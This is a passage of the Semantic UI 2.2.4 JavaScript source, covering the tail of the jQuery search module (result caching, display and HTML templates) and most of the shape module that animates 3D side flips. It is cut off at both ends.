              module.debug('Removing value from cache', value);
              delete cache[value];
              $module.data(metadata.cache, cache);
            }
          }
        },

        read: {
          cache: function(name) {
            var
              cache = $module.data(metadata.cache)
            ;
            if(settings.cache) {
              module.verbose('Checking cache for generated html for query', name);
              return (typeof cache == 'object') && (cache[name] !== undefined)
                ? cache[name]
                : false
              ;
            }
            return false;
          }
        },

        create: {
          id: function(resultIndex, categoryIndex) {
            var
              resultID      = (resultIndex + 1), // not zero indexed
              categoryID    = (categoryIndex + 1),
              firstCharCode,
              letterID,
              id
            ;
            if(categoryIndex !== undefined) {
              // start char code for "A"
              letterID = String.fromCharCode(97 + categoryIndex);
              id          = letterID + resultID;
              module.verbose('Creating category result id', id);
            }
            else {
              id = resultID;
              module.verbose('Creating result id', id);
            }
            return id;
          },
          results: function() {
            if($results.length === 0) {
              $results = $('<div />')
                .addClass(className.results)
                .appendTo($module)
              ;
            }
          }
        },

        inject: {
          result: function(result, resultIndex, categoryIndex) {
            module.verbose('Injecting result into results');
            var
              $selectedResult = (categoryIndex !== undefined)
                ? $results
                    .children().eq(categoryIndex)
                      .children(selector.result).eq(resultIndex)
                : $results
                    .children(selector.result).eq(resultIndex)
            ;
            module.verbose('Injecting results metadata', $selectedResult);
            $selectedResult
              .data(metadata.result, result)
            ;
          },
          id: function(results) {
            module.debug('Injecting unique ids into results');
            var
              // since results may be object, we must use counters
              categoryIndex = 0,
              resultIndex   = 0
            ;
            if(settings.type === 'category') {
              // iterate through each category result
              $.each(results, function(index, category) {
                resultIndex = 0;
                $.each(category.results, function(index, value) {
                  var
                    result = category.results[index]
                  ;
                  if(result.id === undefined) {
                    result.id = module.create.id(resultIndex, categoryIndex);
                  }
                  module.inject.result(result, resultIndex, categoryIndex);
                  resultIndex++;
                });
                categoryIndex++;
              });
            }
            else {
              // top level
              $.each(results, function(index, value) {
                var
                  result = results[index]
                ;
                if(result.id === undefined) {
                  result.id = module.create.id(resultIndex);
                }
                module.inject.result(result, resultIndex);
                resultIndex++;
              });
            }
            return results;
          }
        },

        save: {
          results: function(results) {
            module.verbose('Saving current search results to metadata', results);
            $module.data(metadata.results, results);
          }
        },

        write: {
          cache: function(name, value) {
            var
              cache = ($module.data(metadata.cache) !== undefined)
                ? $module.data(metadata.cache)
                : {}
            ;
            if(settings.cache) {
              module.verbose('Writing generated html to cache', name, value);
              cache[name] = value;
              $module
                .data(metadata.cache, cache)
              ;
            }
          }
        },

        addResults: function(html) {
          if( $.isFunction(settings.onResultsAdd) ) {
            if( settings.onResultsAdd.call($results, html) === false ) {
              module.debug('onResultsAdd callback cancelled default action');
              return false;
            }
          }
          if(html) {
            $results
              .html(html)
            ;
            module.refreshResults();
            if(settings.selectFirstResult) {
              module.select.firstResult();
            }
            module.showResults();
          }
          else {
            module.hideResults();
          }
        },

        showResults: function() {
          if(!module.is.visible()) {
            if( module.can.transition() ) {
              module.debug('Showing results with css animations');
              $results
                .transition({
                  animation  : settings.transition + ' in',
                  debug      : settings.debug,
                  verbose    : settings.verbose,
                  duration   : settings.duration,
                  queue      : true
                })
              ;
            }
            else {
              module.debug('Showing results with javascript');
              $results
                .stop()
                .fadeIn(settings.duration, settings.easing)
              ;
            }
            settings.onResultsOpen.call($results);
          }
        },
        hideResults: function() {
          if( module.is.visible() ) {
            if( module.can.transition() ) {
              module.debug('Hiding results with css animations');
              $results
                .transition({
                  animation  : settings.transition + ' out',
                  debug      : settings.debug,
                  verbose    : settings.verbose,
                  duration   : settings.duration,
                  queue      : true
                })
              ;
            }
            else {
              module.debug('Hiding results with javascript');
              $results
                .stop()
                .fadeOut(settings.duration, settings.easing)
              ;
            }
            settings.onResultsClose.call($results);
          }
        },

        generateResults: function(response) {
          module.debug('Generating html from response', response);
          var
            template       = settings.templates[settings.type],
            isProperObject = ($.isPlainObject(response[fields.results]) && !$.isEmptyObject(response[fields.results])),
            isProperArray  = ($.isArray(response[fields.results]) && response[fields.results].length > 0),
            html           = ''
          ;
          if(isProperObject || isProperArray ) {
            if(settings.maxResults > 0) {
              if(isProperObject) {
                if(settings.type == 'standard') {
                  module.error(error.maxResults);
                }
              }
              else {
                response[fields.results] = response[fields.results].slice(0, settings.maxResults);
              }
            }
            if($.isFunction(template)) {
              html = template(response, fields);
            }
            else {
              module.error(error.noTemplate, false);
            }
          }
          else if(settings.showNoResults) {
            html = module.displayMessage(error.noResults, 'empty');
          }
          settings.onResults.call(element, response);
          return html;
        },

        displayMessage: function(text, type) {
          type = type || 'standard';
          module.debug('Displaying message', text, type);
          module.addResults( settings.templates.message(text, type) );
          return settings.templates.message(text, type);
        },

        setting: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            settings[name] = value;
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };
      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }

    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.search.settings = {

  name              : 'Search',
  namespace         : 'search',

  silent            : false,
  debug             : false,
  verbose           : false,
  performance       : true,

  // template to use (specified in settings.templates)
  type              : 'standard',

  // minimum characters required to search
  minCharacters     : 1,

  // whether to select first result after searching automatically
  selectFirstResult : false,

  // API config
  apiSettings       : false,

  // object to search
  source            : false,

  // fields to search
  searchFields   : [
    'title',
    'description'
  ],

  // field to display in standard results template
  displayField   : '',

  // whether to include fuzzy results in local search
  searchFullText : true,

  // whether to add events to prompt automatically
  automatic      : true,

  // delay before hiding menu after blur
  hideDelay      : 0,

  // delay before searching
  searchDelay    : 200,

  // maximum results returned from local
  maxResults     : 7,

  // whether to store lookups in local cache
  cache          : true,

  // whether no results errors should be shown
  showNoResults  : true,

  // transition settings
  transition     : 'scale',
  duration       : 200,
  easing         : 'easeOutExpo',

  // callbacks
  onSelect       : false,
  onResultsAdd   : false,

  onSearchQuery  : function(query){},
  onResults      : function(response){},

  onResultsOpen  : function(){},
  onResultsClose : function(){},

  className: {
    animating : 'animating',
    active    : 'active',
    empty     : 'empty',
    focus     : 'focus',
    hidden    : 'hidden',
    loading   : 'loading',
    results   : 'results',
    pressed   : 'down'
  },

  error : {
    source      : 'Cannot search. No source used, and Semantic API module was not included',
    noResults   : 'Your search returned no results',
    logging     : 'Error in debug logging, exiting.',
    noEndpoint  : 'No search endpoint was specified',
    noTemplate  : 'A valid template name was not specified.',
    serverError : 'There was an issue querying the server.',
    maxResults  : 'Results must be an array to use maxResults setting',
    method      : 'The method you called is not defined.'
  },

  metadata: {
    cache   : 'cache',
    results : 'results',
    result  : 'result'
  },

  regExp: {
    escape     : /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,
    beginsWith : '(?:\s|^)'
  },

  // maps api response attributes to internal representation
  fields: {
    categories      : 'results',     // array of categories (category view)
    categoryName    : 'name',        // name of category (category view)
    categoryResults : 'results',     // array of results (category view)
    description     : 'description', // result description
    image           : 'image',       // result image
    price           : 'price',       // result price
    results         : 'results',     // array of results (standard)
    title           : 'title',       // result title
    url             : 'url',         // result url
    action          : 'action',      // "view more" object name
    actionText      : 'text',        // "view more" text
    actionURL       : 'url'          // "view more" url
  },

  selector : {
    prompt       : '.prompt',
    searchButton : '.search.button',
    results      : '.results',
    message      : '.results > .message',
    category     : '.category',
    result       : '.result',
    title        : '.title, .name'
  },

  templates: {
    escape: function(string) {
      var
        badChars     = /[&<>"'`]/g,
        shouldEscape = /[&<>"'`]/,
        escape       = {
          "&": "&amp;",
          "<": "&lt;",
          ">": "&gt;",
          '"': "&quot;",
          "'": "&#x27;",
          "`": "&#x60;"
        },
        escapedChar  = function(chr) {
          return escape[chr];
        }
      ;
      if(shouldEscape.test(string)) {
        return string.replace(badChars, escapedChar);
      }
      return string;
    },
    message: function(message, type) {
      var
        html = ''
      ;
      if(message !== undefined && type !== undefined) {
        html +=  ''
          + '<div class="message ' + type + '">'
        ;
        // message type
        if(type == 'empty') {
          html += ''
            + '<div class="header">No Results</div class="header">'
            + '<div class="description">' + message + '</div class="description">'
          ;
        }
        else {
          html += ' <div class="description">' + message + '</div>';
        }
        html += '</div>';
      }
      return html;
    },
    category: function(response, fields) {
      var
        html = '',
        escape = $.fn.search.settings.templates.escape
      ;
      if(response[fields.categoryResults] !== undefined) {

        // each category
        $.each(response[fields.categoryResults], function(index, category) {
          if(category[fields.results] !== undefined && category.results.length > 0) {

            html  += '<div class="category">';

            if(category[fields.categoryName] !== undefined) {
              html += '<div class="name">' + category[fields.categoryName] + '</div>';
            }

            // each item inside category
            $.each(category.results, function(index, result) {
              if(result[fields.url]) {
                html  += '<a class="result" href="' + result[fields.url] + '">';
              }
              else {
                html  += '<a class="result">';
              }
              if(result[fields.image] !== undefined) {
                html += ''
                  + '<div class="image">'
                  + ' <img src="' + result[fields.image] + '">'
                  + '</div>'
                ;
              }
              html += '<div class="content">';
              if(result[fields.price] !== undefined) {
                html += '<div class="price">' + result[fields.price] + '</div>';
              }
              if(result[fields.title] !== undefined) {
                html += '<div class="title">' + result[fields.title] + '</div>';
              }
              if(result[fields.description] !== undefined) {
                html += '<div class="description">' + result[fields.description] + '</div>';
              }
              html  += ''
                + '</div>'
              ;
              html += '</a>';
            });
            html  += ''
              + '</div>'
            ;
          }
        });
        if(response[fields.action]) {
          html += ''
          + '<a href="' + response[fields.action][fields.actionURL] + '" class="action">'
          +   response[fields.action][fields.actionText]
          + '</a>';
        }
        return html;
      }
      return false;
    },
    standard: function(response, fields) {
      var
        html = ''
      ;
      if(response[fields.results] !== undefined) {

        // each result
        $.each(response[fields.results], function(index, result) {
          if(result[fields.url]) {
            html  += '<a class="result" href="' + result[fields.url] + '">';
          }
          else {
            html  += '<a class="result">';
          }
          if(result[fields.image] !== undefined) {
            html += ''
              + '<div class="image">'
              + ' <img src="' + result[fields.image] + '">'
              + '</div>'
            ;
          }
          html += '<div class="content">';
          if(result[fields.price] !== undefined) {
            html += '<div class="price">' + result[fields.price] + '</div>';
          }
          if(result[fields.title] !== undefined) {
            html += '<div class="title">' + result[fields.title] + '</div>';
          }
          if(result[fields.description] !== undefined) {
            html += '<div class="description">' + result[fields.description] + '</div>';
          }
          html  += ''
            + '</div>'
          ;
          html += '</a>';
        });

        if(response[fields.action]) {
          html += ''
          + '<a href="' + response[fields.action][fields.actionURL] + '" class="action">'
          +   response[fields.action][fields.actionText]
          + '</a>';
        }
        return html;
      }
      return false;
    }
  }
};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Shape
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.shape = function(parameters) {
  var
    $allModules     = $(this),
    $body           = $('body'),

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    requestAnimationFrame = window.requestAnimationFrame
      || window.mozRequestAnimationFrame
      || window.webkitRequestAnimationFrame
      || window.msRequestAnimationFrame
      || function(callback) { setTimeout(callback, 0); },

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        moduleSelector = $allModules.selector || '',
        settings       = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.shape.settings, parameters)
          : $.extend({}, $.fn.shape.settings),

        // internal aliases
        namespace     = settings.namespace,
        selector      = settings.selector,
        error         = settings.error,
        className     = settings.className,

        // define namespaces for modules
        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        // selector cache
        $module       = $(this),
        $sides        = $module.find(selector.sides),
        $side         = $module.find(selector.side),

        // private variables
        nextIndex = false,
        $activeSide,
        $nextSide,

        // standard module
        element       = this,
        instance      = $module.data(moduleNamespace),
        module
      ;

      module = {

        initialize: function() {
          module.verbose('Initializing module for', element);
          module.set.defaultSide();
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, instance)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous module for', element);
          $module
            .removeData(moduleNamespace)
            .off(eventNamespace)
          ;
        },

        refresh: function() {
          module.verbose('Refreshing selector cache for', element);
          $module = $(element);
          $sides  = $(this).find(selector.shape);
          $side   = $(this).find(selector.side);
        },

        repaint: function() {
          module.verbose('Forcing repaint event');
          var
            shape          = $sides[0] || document.createElement('div'),
            fakeAssignment = shape.offsetWidth
          ;
        },

        animate: function(propertyObject, callback) {
          module.verbose('Animating box with properties', propertyObject);
          callback = callback || function(event) {
            module.verbose('Executing animation callback');
            if(event !== undefined) {
              event.stopPropagation();
            }
            module.reset();
            module.set.active();
          };
          settings.beforeChange.call($nextSide[0]);
          if(module.get.transitionEvent()) {
            module.verbose('Starting CSS animation');
            $module
              .addClass(className.animating)
            ;
            $sides
              .css(propertyObject)
              .one(module.get.transitionEvent(), callback)
            ;
            module.set.duration(settings.duration);
            requestAnimationFrame(function() {
              $module
                .addClass(className.animating)
              ;
              $activeSide
                .addClass(className.hidden)
              ;
            });
          }
          else {
            callback();
          }
        },

        queue: function(method) {
          module.debug('Queueing animation of', method);
          $sides
            .one(module.get.transitionEvent(), function() {
              module.debug('Executing queued animation');
              setTimeout(function(){
                $module.shape(method);
              }, 0);
            })
          ;
        },

        reset: function() {
          module.verbose('Animating states reset');
          $module
            .removeClass(className.animating)
            .attr('style', '')
            .removeAttr('style')
          ;
          // removeAttr style does not consistently work in safari
          $sides
            .attr('style', '')
            .removeAttr('style')
          ;
          $side
            .attr('style', '')
            .removeAttr('style')
            .removeClass(className.hidden)
          ;
          $nextSide
            .removeClass(className.animating)
            .attr('style', '')
            .removeAttr('style')
          ;
        },

        is: {
          complete: function() {
            return ($side.filter('.' + className.active)[0] == $nextSide[0]);
          },
          animating: function() {
            return $module.hasClass(className.animating);
          }
        },

        set: {

          defaultSide: function() {
            $activeSide = $module.find('.' + settings.className.active);
            $nextSide   = ( $activeSide.next(selector.side).length > 0 )
              ? $activeSide.next(selector.side)
              : $module.find(selector.side).first()
            ;
            nextIndex = false;
            module.verbose('Active side set to', $activeSide);
            module.verbose('Next side set to', $nextSide);
          },

          duration: function(duration) {
            duration = duration || settings.duration;
            duration = (typeof duration == 'number')
              ? duration + 'ms'
              : duration
            ;
            module.verbose('Setting animation duration', duration);
            if(settings.duration || settings.duration === 0) {
              $sides.add($side)
                .css({
                  '-webkit-transition-duration': duration,
                  '-moz-transition-duration': duration,
                  '-ms-transition-duration': duration,
                  '-o-transition-duration': duration,
                  'transition-duration': duration
                })
              ;
            }
          },

          currentStageSize: function() {
            var
              $activeSide = $module.find('.' + settings.className.active),
              width       = $activeSide.outerWidth(true),
              height      = $activeSide.outerHeight(true)
            ;
            $module
              .css({
                width: width,
                height: height
              })
            ;
          },

          stageSize: function() {
            var
              $clone      = $module.clone().addClass(className.loading),
              $activeSide = $clone.find('.' + settings.className.active),
              $nextSide   = (nextIndex)
                ? $clone.find(selector.side).eq(nextIndex)
                : ( $activeSide.next(selector.side).length > 0 )
                  ? $activeSide.next(selector.side)
                  : $clone.find(selector.side).first(),
              newWidth    = (settings.width == 'next')
                ? $nextSide.outerWidth(true)
                : (settings.width == 'initial')
                  ? $module.width()
                  : settings.width,
              newHeight    = (settings.height == 'next')
                ? $nextSide.outerHeight(true)
                : (settings.height == 'initial')
                  ? $module.height()
                  : settings.height
            ;
            $activeSide.removeClass(className.active);
            $nextSide.addClass(className.active);
            $clone.insertAfter($module);
            $clone.remove();
            if(settings.width != 'auto') {
              $module.css('width', newWidth + settings.jitter);
              module.verbose('Specifying width during animation', newWidth);
            }
            if(settings.height != 'auto') {
              $module.css('height', newHeight + settings.jitter);
              module.verbose('Specifying height during animation', newHeight);
            }
          },

          nextSide: function(selector) {
            nextIndex = selector;
            $nextSide = $side.filter(selector);
            nextIndex = $side.index($nextSide);
            if($nextSide.length === 0) {
              module.set.defaultSide();
              module.error(error.side);
            }
            module.verbose('Next side manually set to', $nextSide);
          },

          active: function() {
            module.verbose('Setting new side to active', $nextSide);
            $side
              .removeClass(className.active)
            ;
            $nextSide
              .addClass(className.active)
            ;
            settings.onChange.call($nextSide[0]);
            module.set.defaultSide();
          }
        },

        flip: {

          up: function() {
            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {
              module.debug('Side already visible', $nextSide);
              return;
            }
            if( !module.is.animating()) {
              module.debug('Flipping up', $nextSide);
              var
                transform = module.get.transform.up()
              ;
              module.set.stageSize();
              module.stage.above();
              module.animate(transform);
            }
            else {
              module.queue('flip up');
            }
          },

          down: function() {
            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {
              module.debug('Side already visible', $nextSide);
              return;
            }
            if( !module.is.animating()) {
              module.debug('Flipping down', $nextSide);
              var
                transform = module.get.transform.down()
              ;
              module.set.stageSize();
              module.stage.below();
              module.animate(transform);
            }
            else {
              module.queue('flip down');
            }
          },

          left: function() {
            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {
              module.debug('Side already visible', $nextSide);
              return;
            }
            if( !module.is.animating()) {
              module.debug('Flipping left', $nextSide);
              var
                transform = module.get.transform.left()
              ;
              module.set.stageSize();
              module.stage.left();
              module.animate(transform);
            }
            else {
              module.queue('flip left');
            }
          },

          right: function() {
            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {
              module.debug('Side already visible', $nextSide);
              return;
            }
            if( !module.is.animating()) {
              module.debug('Flipping right', $nextSide);
              var
                transform = module.get.transform.right()
              ;
              module.set.stageSize();
              module.stage.right();
              module.animate(transform);
            }
            else {
              module.queue('flip right');
            }
          },

          over: function() {
            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {
              module.debug('Side already visible', $nextSide);
              return;
            }
            if( !module.is.animating()) {
              module.debug('Flipping over', $nextSide);
              module.set.stageSize();
              module.stage.behind();
              module.animate(module.get.transform.over() );
            }
            else {
              module.queue('flip over');
            }
          },

          back: function() {
            if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) {
              module.debug('Side already visible', $nextSide);
              return;
            }
            if( !module.is.animating()) {
              module.debug('Flipping back', $nextSide);
              module.set.stageSize();
              module.stage.behind();
              module.animate(module.get.transform.back() );
            }
            else {
              module.queue('flip back');
            }
          }

        },

        get: {

          transform: {
            up: function() {
              var
                translate = {
                  y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),
                  z: -($activeSide.outerHeight(true) / 2)
                }
              ;
              return {
                transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(-90deg)'
              };
            },

            down: function() {
              var
                translate = {
                  y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),
                  z: -($activeSide.outerHeight(true) / 2)
                }
              ;
              return {
                transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(90deg)'
              };
            },

            left: function() {
              var
                translate = {
                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2),
                  z : -($activeSide.outerWidth(true) / 2)
                }
              ;
              return {
                transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(90deg)'
              };
            },

            right: function() {
              var
                translate = {
                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2),
                  z : -($activeSide.outerWidth(true) / 2)
                }
              ;
              return {
                transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(-90deg)'
              };
            },

            over: function() {
              var
                translate = {
                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2)
                }
              ;
              return {
                transform: 'translateX(' + translate.x + 'px) rotateY(180deg)'
              };
            },

            back: function() {
              var
                translate = {
                  x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2)
                }
              ;
              return {
                transform: 'translateX(' + translate.x + 'px) rotateY(-180deg)'
              };
            }
          },

          transitionEvent: function() {
            var
              element     = document.createElement('element'),
              transitions = {
                'transition'       :'transitionend',
                'OTransition'      :'oTransitionEnd',
                'MozTransition'    :'transitionend',
                'WebkitTransition' :'webkitTransitionEnd'
              },
              transition
            ;
            for(transition in transitions){
              if( element.style[transition] !== undefined ){
                return transitions[transition];
              }
            }
          },

          nextSide: function() {
            return ( $activeSide.next(selector.side).length > 0 )
              ? $activeSide.next(selector.side)
              : $module.find(selector.side).first()
            ;
          }

        },

        stage: {

          above: function() {
            var
              box = {
                origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),
                depth  : {
                  active : ($nextSide.outerHeight(true) / 2),
                  next   : ($activeSide.outerHeight(true) / 2)
                }
              }
            ;
            module.verbose('Setting the initial animation position as above', $nextSide, box);
            $sides
              .css({
                'transform' : 'translateZ(-' + box.depth.active + 'px)'
              })
            ;
            $activeSide
              .css({
                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'
              })
            ;
            $nextSide
              .addClass(className.animating)
              .css({
                'top'       : box.origin + 'px',
                'transform' : 'rotateX(90deg) translateZ(' + box.depth.next + 'px)'
              })
            ;
          },

          below: function() {
            var
              box = {
                origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2),
                depth  : {
                  active : ($nextSide.outerHeight(true) / 2),
                  next   : ($activeSide.outerHeight(true) / 2)
                }
              }
            ;
            module.verbose('Setting the initial animation position as below', $nextSide, box);
            $sides
              .css({
                'transform' : 'translateZ(-' + box.depth.active + 'px)'
              })
            ;
            $activeSide
              .css({
                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'
              })
            ;
            $nextSide
              .addClass(className.animating)
              .css({
                'top'       : box.origin + 'px',
                'transform' : 'rotateX(-90deg) translateZ(' + box.depth.next + 'px)'
              })
            ;
          },

          left: function() {
            var
              height = {
                active : $activeSide.outerWidth(true),
                next   : $nextSide.outerWidth(true)
              },
              box = {
                origin : ( ( height.active - height.next ) / 2),
                depth  : {
                  active : (height.next / 2),
                  next   : (height.active / 2)
                }
              }
            ;
            module.verbose('Setting the initial animation position as left', $nextSide, box);
            $sides
              .css({
                'transform' : 'translateZ(-' + box.depth.active + 'px)'
              })
            ;
            $activeSide
              .css({
                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'
              })
            ;
            $nextSide
              .addClass(className.animating)
              .css({
                'left'      : box.origin + 'px',
                'transform' : 'rotateY(-90deg) translateZ(' + box.depth.next + 'px)'
              })
            ;
          },

          right: function() {
            var
              height = {
                active : $activeSide.outerWidth(true),
                next   : $nextSide.outerWidth(true)
              },
              box = {
                origin : ( ( height.active - height.next ) / 2),
                depth  : {
                  active : (height.next / 2),
                  next   : (height.active / 2)
                }
              }
            ;
            module.verbose('Setting the initial animation position as left', $nextSide, box);
            $sides
              .css({
                'transform' : 'translateZ(-' + box.depth.active + 'px)'
              })
            ;
            $activeSide
              .css({
                'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)'
              })
            ;
            $nextSide
              .addClass(className.animating)
              .css({
                'left'      : box.origin + 'px',
                'transform' : 'rotateY(90deg) translateZ(' + box.depth.next + 'px)'
              })
            ;
          },

          behind: function() {
            var
              height = {
                active : $activeSide.outerWidth(true),
                next   : $nextSide.outerWidth(true)
              },
              box = {
                origin : ( ( height.active - height.next ) / 2),
                depth  : {
                  active : (height.next / 2),
                  next   : (height.active / 2)
                }
              }
            ;
            module.verbose('Setting the initial animation position as behind', $nextSide, box);
            $activeSide
              .css({
                'transform' : 'rotateY(0deg)'
              })
            ;
            $nextSide
              .addClass(className.animating)
              .css({
                'left'      : box.origin + 'px',
                'transform' : 'rotateY(-180deg)'
              })
            ;
          }
        },
        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
